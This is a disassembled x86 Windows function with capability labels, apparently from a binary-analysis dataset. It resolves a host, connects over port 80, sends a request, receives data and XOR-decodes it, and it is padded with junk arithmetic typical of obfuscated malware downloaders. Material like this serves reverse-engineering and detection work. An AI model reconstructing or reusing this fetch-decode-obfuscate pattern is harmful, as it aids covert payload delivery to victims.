Function at 0x408630
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c5b0
push 0xffffffffffffffff
push 0x41e4eb
mov eax, dword fs:[0]
push eax
sub esp, 0x38
mov eax, dword [0x4260d0]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
xor edx, edx
mov word [ebp - 0x28], dx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
fst dword [ebp - 0x38]
fldz
mov dword [ebp - 0x30], ebx
fstp qword [ebp - 0x40]
xor eax, eax
mov word [ebp - 0x18], ax
xor ecx, ecx
mov word [ebp - 0x34], cx
fst dword [ebp - 0x44]
fstp dword [ebp - 0x24]
mov byte [ebp + 0x11bc], al
fld dword [ebp - 0x38]
mov eax, esi
fsubr qword [0x41f8b8]
mov byte [ebp - 4], 1
lea edx, [eax + 1]
fadd qword [0x41f8b0]
fmul dword [ebp - 0x24]
fstp dword [ebp - 0x24]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086f2
sub eax, edx
mov edi, eax
cmp edi, 0x7f
jg 0x4089ca
xor eax, eax
cmp eax, edi
jg 0x40875a
mov cl, byte [eax + esi]
mov byte [ebp + eax + 0x13bc], cl
cmp cl, 0x2f
jne 0x408757
mov dx, word [ebp - 0x28]
movsx ecx, dx
mov edx, 0x52b5004d
sub edx, ecx
mov ecx, dword [ebp - 0x1c]
imul edx, ecx
mov byte [ebp + eax + 0x13bc], 0
mov dword [ebp - 0x1c], edx
dec dword [ebp - 0x28]
mov ecx, eax
nop
cmp ecx, edi
jg 0x40875a
mov bl, byte [ecx + esi]
mov edx, ecx
sub edx, eax
mov byte [ebp + edx + 0x11bc], bl
inc ecx
xor ebx, ebx
jmp 0x408740
inc eax
jmp 0x408708
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408763
mov edi, dword [ebp - 0x20]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408776
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x4087a1
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089ca
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4089c2
fld dword [0x4249dc]
mov eax, edi
fld dword [ebp - 0x38]
mov ecx, dword [0x425f98]
mov dword [ebp - 0x20], ecx
fild dword [ebp - 0x20]
mov edx, eax
fsubp st(2)
fxch st(1)
fsub qword [0x41f8a8]
fsubp st(1)
fstp dword [ebp - 0x38]
fld dword [0x4249dc]
fsub qword [0x41f348]
fstp dword [0x4249dc]
jmp 0x4087e0
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e0
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4087f0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424aa8
rep movsb byte es:[edi], byte [esi]
call fcn.00401d40
add esp, 8
fld qword [0x425e40]
mov esi, eax
fsub qword [0x41f8a0]
lea edx, [eax + 1]
fstp qword [0x425e40]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408830
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00407d00
mov edx, dword [0x424ad0]
add edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ebp - 0x20], edx
fild dword [ebp - 0x20]
push esi
fmul dword [ebp - 0x44]
mov dword [esi], eax
mov byte [esi + 4], al
fstp dword [ebp - 0x44]
fldz
fstp dword [ebp - 0x3c]
mov word [ebp - 0x14], ax
call fcn.0040b07b
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408880
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.004084f0
push 0x32
push 0x4231e4
call fcn.00401d40
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088b0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004084f0
fldz
push 0x32
fstp dword [ebp - 0x3c]
xor edx, edx
push ebx
push esi
mov word [ebp - 0x14], dx
call fcn.0040b190
push esi
call fcn.0040b07b
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088f0
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.004084f0
push 5
push 0x4232bc
call fcn.00401d40
add esp, 8
mov esi, eax
mov dword [ebp - 0x1c], 0x14742a51
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408927
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004084f0
fldz
xor eax, eax
fstp dword [ebp - 0x3c]
xor ecx, ecx
mov dword [esi], eax
push esi
mov word [ebp - 0x14], cx
mov byte [esi + 4], al
call fcn.0040b07b
add esp, 4
lea edx, [ebp]
push edx
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
jne 0x408788
mov ecx, dword [0x424918]
mov dword [ebp - 0x20], ecx
fild dword [ebp - 0x20]
fld qword [0x423300]
fsub dword [0x4232fc]
fadd dword [0x424974]
fsubp st(1)
call fcn.0040b210
push 6
push 1
push 2
mov dword [0x424918], eax
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x20], esi
cmp esi, 0xffffffff
jne 0x4089ef
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x4089ca
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040ac86
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b775
add ebp, 0x1440
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x14], 0xde48c302
cmp dword [ebp + 0x1458], ebx
je 0x408a2c
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
fld dword [ebp - 0x24]
mov cx, word [ebp - 0x18]
movsx edx, cx
mov dword [ebp - 0x24], edx
fild dword [ebp - 0x24]
fmulp st(1)
fstp dword [ebp - 0x24]
lea eax, [ebp + 0x13bc]
push eax
call sub.WS2_32.dll_gethostbyname
cmp eax, ebx
jne 0x408a48
cmp dword [ebp + 0x1b8], 0x10
jmp 0x408e4c
mov edx, 2
mov word [ebp + 0x190], dx
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
mov dword [ebp + 0x194], eax
mov ax, word [ebp - 0x28]
movsx ecx, ax
mov edx, 0x56d8d239
sub edx, ecx
mov dword [ebp - 0x14], edx
push 0x50
fild dword [ebp - 0x14]
fadd dword [0x425f20]
fstp dword [0x425f20]
call sub.WS2_32.dll_htons
mov word [ebp + 0x192], ax
mov edi, 0x10
push edi
lea eax, [ebp + 0x190]
push eax
push esi
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x408e46
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408acb
lea eax, [ebp + 0x1a4]
mov edx, dword [ebp + 0x1b4]
push ebx
push edx
push eax
push esi
call sub.WS2_32.dll_send
mov esi, eax
mov ax, word [ebp - 0x34]
dec dword [ebp - 0x34]
movsx ecx, ax
sub ecx, 0x5f9c3d8f
cmp ecx, 0x3a940c03
je 0x408b34
mov dx, word [0x4231b8]
movsx eax, dx
add eax, 0x7d6839d1
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [0x4231ac]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
fild dword [ebp - 0x1c]
fmulp st(1)
call fcn.0040b210
mov dword [ebp - 0x1c], eax
fld dword [0x4231ac]
fsub qword [0x41f348]
fstp dword [0x4231ac]
cmp esi, dword [ebp + 0x1b4]
jae 0x408b47
cmp dword [ebp + 0x1b8], edi
jmp 0x4089b9
mov ecx, dword [ebp - 0x2c]
push ebx
push 0x41f898
call fcn.00407d00
movzx eax, word [ebp - 0x18]
or edi, 0xffffffff
or ebx, edi
imul eax, eax, 0xfa2b7ac3
mov word [ebp - 0x18], ax
jmp 0x408b70
mov edx, dword [ebp - 0x20]
push 0
push 0x1000
lea ecx, [ebp + 0x1bc]
push ecx
push edx
call sub.WS2_32.dll_recv
mov cx, word [0x424b14]
movzx edx, word [ebp - 0x28]
movsx ecx, cx
sub ecx, edx
sub ecx, 0x45b81c08
mov word [0x424b14], cx
inc dword [ebp - 0x28]
test eax, eax
jle 0x408de1
mov ecx, dword [ebp - 0x2c]
push eax
lea eax, [ebp + 0x1bc]
push eax
call fcn.004084f0
test edi, edi
jge 0x408d95
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x30], ecx
fild dword [ebp - 0x30]
fld qword [0x424978]
fsub dword [ebp - 0x24]
fsubp st(1)
call fcn.0040b210
mov dword [ebp - 0x30], eax
fld dword [ebp - 0x24]
fld1
push 5
fadd st(1), st(0)
push 0x4232bc
fxch st(1)
fstp dword [ebp - 0x24]
fadd qword [0x424978]
fstp qword [0x424978]
call fcn.00401d40
add esp, 8
mov esi, eax
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408c10
mov ecx, dword [ebp - 0x2c]
sub eax, edx
push eax
push 0
push esi
call fcn.004046b0
fldz
mov edi, eax
fstp dword [ebp - 0x3c]
xor eax, eax
xor edx, edx
mov dword [esi], eax
mov word [ebp - 0x14], dx
push esi
mov byte [esi + 4], al
call fcn.0040b07b
movzx eax, word [ebp - 0x28]
imul eax, eax, 0xe2e75f7e
add esp, 4
mov word [ebp - 0x28], ax
test edi, edi
jl 0x408d6f
movzx ecx, word [0x4248fc]
movsx edx, cx
movzx ecx, word [0x423900]
dec word [0x4248fc]
mov eax, 0x19ef2f9d
sub eax, edx
movsx edx, cx
sub eax, edx
add edi, 4
cmp eax, 0x171f05a6
jge 0x408ca3
movzx eax, word [ebp - 0x34]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
add eax, ecx
lea eax, [eax + edx - 0x25b09ac1]
mov word [ebp - 0x18], ax
inc dword [ebp - 0x1c]
jmp 0x408caf
fld dword [ebp - 0x38]
fmul qword [0x41f890]
fstp dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
push ecx
call fcn.00405d20
mov ebx, eax
add esp, 4
mov dword [ebp - 0x3c], ebx
test ebx, ebx
jge 0x408d39
push 0xb
push 0x425e88
call fcn.00401d40
mov ecx, dword [ebp - 0x2c]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.004050a0
fld qword [0x424a60]
mov dx, word [ebp - 0x34]
fsubr qword [0x41f888]
mov ecx, dword [ebp - 0x30]
mov ebx, eax
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsubp st(2)
fsubrp st(1)
call fcn.0040b210
mov word [ebp - 0x34], ax
fld qword [0x424a60]
fsub qword [0x41f348]
push esi
push 0xb
fstp qword [0x424a60]
call fcn.00401f70
add esp, 8
test ebx, ebx
jge 0x408de1
mov ebx, dword [ebp - 0x3c]
mov dx, word [0x425f2c]
mov cx, word [0x423178]
dec word [0x423178]
movsx eax, dx
movsx edx, cx
add eax, 0xa4fcd763
cmp eax, edx
je 0x408d6f
fld qword [0x425db8]
fsub qword [0x41f880]
fstp qword [0x425db8]
mov eax, dword [0x424918]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
fild dword [ebp - 0x3c]
fsub dword [0x4238c4]
fcomp qword [0x41f878]
fnstsw ax
test ah, 0x41
jp 0x408d95
fld dword [ebp - 0x38]
fstp st(0)
test ebx, ebx
jl 0x408da5
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ecx + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408de1
fld dword [0x423890]
call fcn.0040b210
mov word [0x4248c0], ax
fld dword [0x423890]
cmp dword [ebp + 0x1458], 0
fadd qword [0x41f348]
fstp dword [0x423890]
je 0x408e82
mov edx, dword [ebp - 0x2c]
cmp dword [edx + 0x14], 0x4000
jb 0x408e5e
mov eax, dword [ebp - 0x20]
push eax
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
mov esi, dword [ebp - 0x2c]
test edi, edi
jl 0x408e00
push edi
push 0
mov ecx, esi
call fcn.00405010
mov dl, byte [ebp + 0x1454]
mov edi, 0x10
test dl, dl
je 0x408e46
fld qword [0x41f870]
xor eax, eax
cmp eax, dword [esi + 0x14]
jae 0x408e44
cmp dword [esi + 0x18], edi
jb 0x408e32
fld dword [ebp - 0x44]
mov ecx, dword [esi + 4]
xor byte [ecx + eax], dl
fadd st(1)
inc eax
fstp dword [ebp - 0x44]
jmp 0x408e17
fld dword [ebp - 0x44]
xor byte [esi + eax + 4], dl
fadd st(1)
lea ecx, [esi + 4]
inc eax
fstp dword [ebp - 0x44]
jmp 0x408e17
fstp st(0)
cmp dword [ebp + 0x1b8], edi
jb 0x4089ca
mov ecx, dword [ebp + 0x1a4]
push ecx
jmp 0x4089c2
dec dword [0x4238c0]
mov edx, dword [0x4238c0]
sub edx, 0x69675234
mov dword [ebp - 0x3c], edx
fild dword [ebp - 0x3c]
fmul qword [0x4249e0]
fstp qword [0x4249e0]
fld qword [0x424ae8]
fmul qword [0x41f868]
fstp qword [0x424ae8]
jmp 0x408b70